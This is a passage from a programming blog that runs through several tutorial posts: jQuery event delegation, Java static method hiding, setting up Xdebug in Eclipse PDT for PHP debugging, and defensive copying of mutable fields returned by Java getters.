In the “traditional” event handling model, the new elements would not automatically respond to events as you would like. This is because the events were individually bound to each element. This is a well known problem. However, in event delegation, since there’s only one event handler bound to the container or ancestor element, the newly-created elements will respond to the event properly! This is because an event on them “bubbles” up to the container element just as for the original elements.

Demo of Event Delegation

Perhaps a little demo is needed. With this demo, you can see both the implementation of event delegation as well as the effect of adding new elements.

Drawbacks of event delegation

I’ve already talked about some of the benefits (fewer bound event handlers, so less resources used and the ability to adapt with DOM changes), but it’s worthwhile to iterate over some of the drawbacks.

1. Firstly, not all elements “bubble up” in the way described. The blur, focus, change and submit are notable exceptions so you will not be able to use event delegation with these events in the manner described in this article.
2. Furthermore, the code developed to maintain event delegation can be more complicated to understand than with just using the traditional model. Indeed, there is an initial investment time everyone must make to get going. This should obviously be considered since code maintenance is always important.
3. Because there’s one event handler being called for all events on inner/descendant elements, there can be some performance implications. If you’re calling expensive functions within this event handler, the event processing could slow down significantly. Careful optimization may be required.

However, some of these drawbacks can be mitigated by using solutions developed by the jQuery community. Even though event delegation is somewhat new, there are already plugins available that take a lot of the grunt-work out of event delegation, abstracting away the details and making things easier for you. Even jQuery itself also supports event delegation through a built-in function as of v1.3. Here are some options for pre-built solutions:

• Dan Webb’s Delegate Plugin
  This is a fairly straightforward way to implement delegation and it’s easy to setup and understand.
• jQuery’s built in live() function
  This supports a subset of events but is good enough for most uses.
• The Live Query plugin
  This is your best bet if you need the most functionality, though I haven’t personally tried it out yet.

Conclusion

Delegation nicely solves the problem of having to rebind events after adding new elements to the DOM. For that reason alone, I’ve started to use in my work more often. At its heart, it’s a useful design pattern, but should be only with full understanding of the pros and cons. I hope you enjoyed reading this article!

References

1. Event Delegation Made Easy
2. Event delegation without a JavaScript library
3. JavaScript Event Delegation is Easier than You Think
4. Why do my events stop working after an AJAX request?

Revisions

• 2009-02-20: Added a crude diagram of event bubbling

First, we define a simple class with one instance method and one static method.

public class A
{
  public String getName()
  {
    return "I am A";
  }

  public static String getStaticName()
  {
    return "Statically A!";
  }
}

Then we extend that class with one that has identical method signatures.

public class B extends A
{
  // Note: @Override only makes sense for instance methods.
  // The annotation is not needed but makes for best practices, since if the
  // method DOES NOT override a superclass, a compile-time error will be
  // generated, limiting damage. (@Override was added in Java 1.5)
  @Override
  public String getName()
  {
    return "I am B";
  }

  public String onlyOnB()
  {
    return "Only available on B";
  }

  // Cannot @Override, generates a compile error. Instead, this methods
  // `hides` the one in the super class.
  public static String getStaticName()
  {
    return "Statically B!";
  }

  public static void main( String[] args )
  {
    A a = new A();
    B b = new B();

    A b_as_a = new B();
    A b_as_a_copied_from_reference = b;

    System.out.println(a.getName());
    System.out.println(a.getStaticName() + "\n");

    System.out.println(b.getName());
    System.out.println(b.getStaticName() + "\n");

    System.out.println(b_as_a.getName());
    System.out.println(b_as_a.getStaticName() + "\n");

    System.out.println(b_as_a_copied_from_reference.getName());
    System.out.println(b_as_a_copied_from_reference.getStaticName() + "\n");
  }
}

Sorry for the funky variable names in main(), but camelCase just didn’t look good. Anyway, can you guess the output of the program? It’s actually quite interesting:

I am A
Statically A!

I am B
Statically B!

I am B
Statically A!

I am B
Statically A!

The first two are fairly straightforward, since for variables a and b, the declared type matches the instantiated type, so there can be no doubt. But what happens when the declared type does not match the instantiated type, as in the second two examples?

The short answer is this: When instance methods are invoked, they will always be called on the instantiated type, regardless of the declared type. When static or class methods are invoked, they will be called on the declared type.

Declared type vs. instantiated type

You can think of the declared type as a “window” into the actual instantiated type. This “window” provides a view as to what methods are available for invocation and provides these hints to the compiler. This is why you cannot call a method that exists on an instantiated type unless it has been declared or exists on the declared type. (The use of interfaces provides the best example of this)

When an instance method is invoked, the JVM will then determine the runtime type of the variable and then call the appropriate method on that object. This is why for the last two examples, the output was I am B, even though the declared type was A. This is what allows polymorphism to work in Java.

However, when a static or class method is invoked, it will always be invoked from the declared type, regardless of what the runtime or instance type is. This is because static methods are per-class rather than per-instance and thus the exact method invoked can be determined at compile time from the declared type. This is why for the last two examples, the output is from the the method defined on class A, the declared type of the two variables.

What Sun has to say

Sun’s own tutorials on these subjects refers to this as hiding; that is, when a subclass static method has the same signature as one in a superclass, it hides it instead of overriding it. Override is a term reserved for instance methods only, and in fact, marking getStaticName() with the annotation @Override in class B results in a compile-time error.

However, to me, it’s far simpler to just remember that static methods are always invoked on the declared type, while instance methods will be invoked on the instantiated type. This provides an easy way to remember how things work in the JVM.

I’ve written about Eclipse and how useful it can be, with its extensible plugin-based system. It’s so useful that I use it everyday for almost any language – Java, PHP, JavaScript to name a few. It’s even great for things like CSS and XHTML.

PHP is currently my favourite “hobby” language and has been for some time. While I like PHP, one of the things that hasn’t been straightforward with it is setting up a proper debug session, where you can step through code. This contrasts heavily with a language like Java, which has always had strong developer tools. This has resulted in a mass of third-party tools aimed at facilitating PHP debugging. A while ago, a reader emailed me asking about this very topic, so I decided to put together how-to detailing my experience with the topic and how I went about learning it.

Xdebug for PHP and XAMPP

The debugger I’ll be using will be Xdebug. Because PHP provide no built-in debugging tools, there are many third-party options for debugging. (See the “Debugging Tools” section of this article for more) However, Xdebug seems to be one of the more popular ones, and Eclipse PDT already has support for it.

This guide also assumes use of XAMPP, the great all-in-one solution for quickly setting up a web development environment and to get your code running on the server. XAMPP is great for hitting the ground running, though you’ll probably not want to use it in a production environment – though you likely won’t be debugging there either. Nevertheless, the instructions provided here should work even if you’ve setup Apache and PHP separately on your own.

Getting started

The first thing you’ll want to do is head over the Xdebug page and download the appropriate Zend extension of Xdebug corresponding to the version of PHP you’re running. Save the file into your PHP extension path/folder. Now you’ll have to edit your php.ini file to begin using the plugin. The plugin basically exposes or provides an interface for the client debugger (running in Eclipse or your IDE) to attach to the server and debug/trace through the code that’s running on it. If you’re from the Java world, you’ll know this as “remote debugging”, which is provided by most J2EE application servers.

You’ll also want to have downloaded Eclipse PDT have that installed as your IDE, if you haven’t already done so. Zend Studio for Eclipse also works, since it’s based on Eclipse PDT, and offers quite a few more features, out of the box.

Setting up Xdebug

You should have already saved the Xdebug extension DLL file to your PHP extension folder. Record down the full path of it. Now, open up your php.ini file and go down to the [XDebug] section, or create it if it’s not there. Uncomment or add the following lines:

;; Only Zend OR (!) XDebug
zend_extension_ts="D:\XAMPP\php\ext\php_xdebug.dll"
xdebug.remote_enable=On
xdebug.remote_host="localhost"
xdebug.remote_port=9000
xdebug.remote_handler=dbgp

The zend_extension_ts should point to location of your Xdebug extension DLL that you downloaded earlier; modify as appropriate.

Then, you should disable the Xdebug entry in the list of dynamic extensions. This is confusing, but since we are already setting up Xdebug as a Zend extension, we don’t need another entry. Disable the Xdebug dynamic extension by ensuring the following line is commented out, like below:

;extension=php_xdebug.dll

There is one last very important step you need to do, particularly if you are running XAMPP. Current versions of Xdebug are incompatible with the Zend optimizer that is enabled by default in XAMPP, so you must disable that if you want Xdebug to work. If you don’t, you’ll notice that Apache will crash every time you try to load it with Xdebug enabled. To disable the Zend optimizer, find the [Zend] section in php.ini and comment out all of the entries under it, like so: (This is an example, there may be more to comment out)

[Zend]
;zend_extension_ts = "D:\XAMPP\php\zendOptimizer\lib\ZendExtensionManager.dll"
;zend_extension_manager.optimizer_ts = "D:\XAMPP\php\zendOptimizer\lib\Optimizer"
;zend_optimizer.enable_loader = 0
;zend_optimizer.optimization_level=15
;zend_optimizer.license_path =

You should be able to start Apache now without troubles.

Configuring Eclipse for PHP debugging

The next part will be configuring Eclipse as a debugging client. Since the code will be executing on the web server (Apache), you’ll need Eclipse to “hook in” using the Xdebug protocol. Thankfully, configuring Eclipse is fairly straightforward.

Open up Eclipse’s preferences and go to PHP -> Debug, and ensure that XDebug is selected as the PHP debugger. This sets the default for debugging sessions and lessens the configuration required for each debug session. You can also make sure that the default web server is localhost if that’s the case, which it’ll likely be for a lot of people doing development.

Note that if you are running Zend Studio, you’ll need to follow the steps in this article to enable Xdebug support. It seems that some versions of Zend Studio by default disabled support for the Xdebug plugin in lieu of their own Zend Debugger.

Now you can select a file from a project you’d like to debug. In my case, I’ve selected src/demo/index.php from my Challenge-Response PHP Login System project. Open the file, and then go to the Run Menu and select Debug Configurations… or Open Debug Dialog.

Double click the the “PHP Web Page” entry on the left side bar to create a new debug profile. Here, I’ve named it “CHAP-PHP”. You should see a dialog like the one above. Make sure the “Server Debugger” is again set to Xdebug and that the PHP Server is set to the localhost configuration you set up previously.

Then you have to select the file you want to debug. Click on “Browse”, and you’re confusingly taken to another view of your Eclipse projects; simply select the same file as before – you have to select a specific file, and not just a project or folder.

After that, you’ll need to adjust the URL mapping. You’ll probably need to uncheck “Auto Generate”, and then enter the URL that corresponds to the PHP file you’re debugging. Here, I’ve manually entered /projects/CHAP/trunk/src/demo/ as the URL fragment that triggers execution of the script.

If you want the debugger to stop right at the first line to allow you to immediately begin stepping through code, check “Break at First Line”. (It may be checked by default) Otherwise, uncheck it if you only want the debugger to stop at the breakpoints you’ve specified in Eclipse, which is the normal behaviour most developers will expect.

You should now be able to click “Debug”, and a debug session will launch, opening up the URL you’ve specified and allowing you to step through code. If you don’t like Eclipse using its own internal web browser (which appears just be a front for IE), you can configure which web browser you’d like it to launch URLs with by opening up Preferences and then going to General -> Web Browser and changing the setting to use an external web browser of your choice. Personally, Firefox is my preference.

Start your debugging engines!

You can now get acquainted with stepping through code, which in my opinion, is one of the best ways to learn! When you launch a debug session, Eclipse should prompt you to switch to a new “perspective”, which is just a different layout of Eclipse’s internal windows that many believe better suit debugging through code.

You’re provided with an informative view of the script your currently debugging, along with the highlighted line that execution has paused on. You can set debug breakpoints by double-clicking in the left margin of your source code view window; debug breakpoints show up as blue circles here. The buttons at the top (green “Play”, red “Stop” and others) provide control over execution of the code, allowing you to step through code line-by-line, step into functions/methods and return from them. I encourage you to experiment with all of the controls and get acquainted with the keyboard shortcuts.

Another panel also shows all the current variables available to the script as well as their values. This is useful since you now do not need to echo anything to output or change any of the code to see values.

When you’re done, you can just click the red “stop” button to disconnect from the server and end the debug session. If you’ve completely stepped through a script, you will not be automatically disconnected from the server. Instead, the debug client in PHP will patiently wait to debug the script again the next time it is executed. This is useful to know, since you can just go back to the URL in your web browser and reload the page to trigger the debug session to resume again.

Conclusion

I hope you found this useful, as when I was starting out trying to get a PHP debug session to work, it was somewhat frustrating. As always, I welcome your comments, suggestions and questions below via the comments form!

References

1. Why does xdebug crash apache on every XAMPP install I’ve tried?
2. Xdebug: Documentation
3. How to enable the Xdebug debugger in Zend Studio for Eclipse
4. Debugging PHP applications with Xdebug

Pop Quiz

Consider the following code fragment. We create a MapContainer object, and then get the contained map, which is guaranteed to have a certain value associated with the key “today”. We then alter the value associated with this key, using our local reference to returned map. We then query the MapContainer object and get the contained map again. What is the value associated with the key “today” in this map?

final MapContainer mapContainer = new MapContainer();
final Map<String, String> map = mapContainer.getKeyValuePairs();

final String today = map.get("today");
assert null != today;
System.out.println(today);  // Returns the current date-time.

// Change the value using our local reference.
map.put("today", "tomorrow");

final Map<String, String> mapAgain = mapContainer.getKeyValuePairs();
System.out.println(mapAgain.get("today")); // What is output?

Don’t waste too much time on this problem, as it’s a trick question. The answer actually depends on the implementation of MapContainer. Depending on how it’s implemented, the second output could be unchanged from the first or be changed to the new value of “tomorrow”.

It’s all in the getters

Let’s take a look at the code for MapContainer.

import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class MapContainer
{
  final private Map<String, String> keyValuePairs;

  public MapContainer()
  {
    this.keyValuePairs = new HashMap<String, String>();
    this.keyValuePairs.put("today", new Date().toString());
  }

  public Map<String, String> getKeyValuePairs()
  {
    return keyValuePairs;
  }
}

We have a simple constructor that initializes the keyValuePairs Map and adds one value for the current date-time. But the real ‘key’ (no pun intended) to solving the problem is looking at the getter for the field. As you can see, it simply returns a reference to the private field. Under this implementation, a caller is able to alter the contents of the private field/Map even though no public “set” methods are available. Why is this? For two reasons: In Java, objects are passed/returned by reference, and HashMap is a mutable object. Thus using this implementation, the second output from our original code fragment is “tomorrow”, since the caller has altered the contents of the Map through the returned reference.

Furthermore, the original reference returned from the getter is not independent either; if some other code were to call the get method on the MapContainer object and make changes to the Map, those changes would also be reflected in the original returned reference!

How can we “fix” this? We simply have to ensure that the getter for the field returns a reference to a copy of the private Map. This is easy since there is a constructor for HashMap that accepts an existing Map. Here’s the altered code:

import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class MapContainer
{
  final private Map<String, String> keyValuePairs;

  public MapContainer()
  {
    this.keyValuePairs = new HashMap<String, String>();
    this.keyValuePairs.put("today", new Date().toString());
  }

  public Map<String, String> getKeyValuePairs()
  {
    return new HashMap<String, String>(keyValuePairs);
  }
}

With these changes, the private Map cannot be altered by a caller and thus the second output will remain changed in our first code fragment example.

To change, or not to change?

It should be noted that sometimes you may want to allow callers to alter the backing data structure that you return from a get method. For example, some of the data structures from the Java Collection Framework have getters that return references that can be used to alter the state of the original object. A good example is the entrySet() method of the HashMap object.

But in my opinion, these examples are the exception rather than the rule. In general, you do not want to allow callers to be able to alter the state of private fields directly since this violates information-hiding principles. If there is some change a caller needs to make to your object, it’s best accomplished through a set method since this allows you to control the changes and prevents unwanted/unexpected situations. If you do decide to allow callers to directly alter the state of private fields, it’s best to explicitly document this in the JavaDoc.

Mutability and safety

Note that in this example the field used was a HashMap object, which was mutable. If the field consisted of an immutable object, like a String, you would not have to worry about making a copy before returning it. This is because if the object is immutable, you do not have to worry about a caller changing its state because this is impossible to do! This is why immutable objects are much easier to deal with in multithreaded/concurrent environments.

Note that mutability has nothing to do with the final keyword in Java, contrary to this definition. Simply marking a field as “final” will not magically change a mutable object into an immutable one. As we saw earlier, whether an object is mutable or not depends entirely on its implementation, the details of which should be expressed in the JavaDoc for that class. The final keyword only ensures that you cannot reassign that field/variable to completely new reference or object; it does not ensure that you can’t change the state of the object already referenced.